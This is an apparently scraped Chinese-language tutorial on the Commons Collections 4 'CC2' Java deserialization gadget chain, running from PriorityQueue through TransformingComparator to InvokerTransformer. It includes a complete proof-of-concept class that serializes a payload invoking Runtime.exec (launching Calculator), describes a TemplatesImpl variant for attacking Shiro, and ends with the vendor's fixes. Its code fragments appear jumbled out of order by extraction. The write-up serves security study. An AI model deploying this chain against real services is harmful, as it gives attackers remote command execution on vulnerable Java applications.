private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc2 {
public static void main(String[] args) throws Exception {
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);
Comparator comparator = new TransformingComparator(transformerChain);
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Commons Collections 2
在
2015
年底commons-collections
反序列化利用链被提出时,Apache Commons Collections
有以下两 个分支版本:可⻅,
groupId
和artifactId
都变了。前者是Commons Collections
老的版本包,当时版本号是3.2.1
;后 者是官方在2013
年推出的4
版本,当时版本号是4.0
。那么为什么会分成两个不同的分支呢?官方认为旧的
commons-collections
有一些架构和API
设计上的问题,但修复这些问题,会产生大量不能 向前兼容的改动。所以,commons-collections4不
再认为是一个用来替换commons-collections
的新版 本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。既然这不是一个替换的版本,那我们先来看看老板本的
cc
链在这里面还能适用吗?commons-collections4的改动
为了探索这个问题,我们需要先搞清楚一点,老的利用链在commons-collections4中是否仍然能使用? 幸运的是,因为这二者可以共存,所以我可以将两个包安装到同一个项目中进行比较:
然后尝试用
cc6
的链子来打一下:先把包名改改,把
import org.apache.commons.collections.*
改成import org.apache.commons.collections4.*
如下图:这里有一个报错,因为
collections4
中的LazyMap
里面并没有decorate
这个方法,而是改了个名字,改成了lazymap
,其它都是一样的,咱换个名字就能用了:Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)
;同理,用之前的
CC1
、CC3
也都可以在Commons-Collections4
里正常使用PriorityQueue利用链
除了那几个老的利用链外,
ysoserial
还为Commons-Collections4
准备了两条新的利用链,也即CC2
和CC4
commons-collections
这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其 中包含了一些可以执行任意方法的Transformer
。所以,在commons-collections中
找Gadget
的过 程,实际上可以简化为,找一条从Serializable#readObject()
方法到Transformer#transform()
方法的调用链。cc2
理解了利用链的大概流程后,来接着看
cc2
这条新的链子是找到了两个关键的类:
先来看第一个是:
java.util.PriorityQueue
,这个类中有自己的readObject()
方法,所以说可以作为链子的开头:而另一个是
org.apache.commons.collections4.comparators.TransformingComparator
,这个类中有调用transform()
方法的函数,也就是可以作为链子的结尾:这条链子就是从
PriorityQueue
类中的readObject()
方法到TransformingComparator
类中的compare()
方法;接下来我们就来看看它是怎么连接起来的:PriorityQueue#readObject()
方法中调用了heapify()
方法,heapify()
里调用了siftDown()
siftDown()
里调用了siftDownUsingComparator()
:siftDownUsingComparator()
里调用了comparator.compare()
:接着整条链子就通了
siftDownUsingComparator的具体实现(了解)
作为一个知识的扩展,来看看
siftDownUsingComparator
方法:java.util.PriorityQueue
是一个优先队列(Queue
),基于二叉堆实现,优先队列每次出队的元素都是优先级最高的元素,那么如何确定哪一个元素的优先级最高呢?jdk
中使用堆这种数据结构,通过堆使得每次出队的元素总是队列里面最小的,而元素大小的比较方法则由comparator
指定,相当于指定优先级二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆;最大堆:父节点的键值总是大于或等于任何一个子节点的键值,最小堆:父节点的键值总是小于或等于任何一个子节点的键值;而完全二叉树在第
n
层深度被填满之前,不会开始填第n+1
层,而且元素插入是从左往右填满;所以说基于数组实现的二叉堆,对于数组中任意位置的n元素,其左孩子在[2n+1]
位置上,右孩子在[2(n+1)]
位置,它的父亲则在[(n-1)/2]
上,而根的位置则是[0]
,具体的请见:https://www.cnblogs.com/linghu-java/p/9467805.html
https://www.jb51.net/article/204483.htm
反序列化之后之所以要调用
heapify()
方法,是为了反序列化之后恢复顺序,相当于就是排序,而排序是靠将大的元素下移实现的,而将节点下移的函数就是siftDown()
,而comparator.compare()
⽤来⽐较两个元素⼤⼩TransformingComparator
类实现了java.util.Comparator
接⼝,这个接⼝⽤于定义两个对象如何⽐较;siftDownUsingComparator()
中就使⽤这个接⼝的compare()
⽅法⽐较树的节点大概就是因为这个才导致了漏洞的出现。了解一下就行,这个不是cc链学习的重点
构造poc
接下来就是构造
poc
了利用链的触发点还是经典的
Transformer
,和之前的都一样:然后把这个
ChainedTransformer
对象放入到创建的TransformingComparator
对象里面:接着实例化
PriorityQueue
对象,第一个参数是初始化时的大小,至少需要2
个元素才会触发排序和比较, 所以是2
;第二个参数是比较时的Comparator
,传入前面实例化的comparator
:后面随便
add
了2
个数字进去,这里可以传入非null
的任意对象,因为我们的Transformer
是忽略传入参 数的。然后将真正的恶意
Transformer
设置上:最后添加上序列化和反序列化就构造完成了:
运行后我发现弹了两个计算器,调试进去看看,原来在这
这里触发了两次
transform
,也很简单,因为每次比较都会触发Comparator
这个比较器传入参数的transform
方法,就会直接触发这条链子。改造POC
在之前我们用
TemplatesImpl
可以构造出无Transformer
数组的利用链,并且可以用来打shiro
,我们尝试用同样的方法将这个利用链也改造一下。首先,还是创建
TemplatesImpl
对象:创建一个人畜无害的
InvokerTransformer
对象,并用它实例化Comparator
:接着实例化
PriorityQueue
对象,但注意,此时通过add
向队列里添加的元素是之前创建的TemplatesImpl
对象原因很简单,和上一篇文章相同,因为我们这里无法再使用
Transformer
数组,所以也就不能用
ConstantTransformer
来初始化变量,需要接受外部传入的变量。而在Comparator#compare()
时,队列里的元素将作为参数传入transform()
方法,这就是传给TemplatesImpl#newTransformer
的参数。这个和打shiro
是比较像的最后一步,将
getClass
方法改成恶意方法newTransformer
:完整
poc
:运行不了
看报错
45
行已经终止了。看来人畜无害的方法用之前打shiro
用的getClass
不行,换成其他不重要的方法就行了,比如最好用的toString
commons-collections反序列化官方修复方法
Apache Commons Collections
官⽅在2015
年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
;先看3.2.2
,通过diff
可以发现,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization
,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer
类(InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer
等的readObject
⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常,终止程序的运行;详情看一下:https://blog.csdn.net/weixin_33724059/article/details/91718540再看
4.1
,修复⽅式⼜不⼀样。4.1
⾥,这⼏个危险Transformer
类不再实现Serializable
接⼝,也就是说,这样就彻底防止了前面的任何一种反序列化漏洞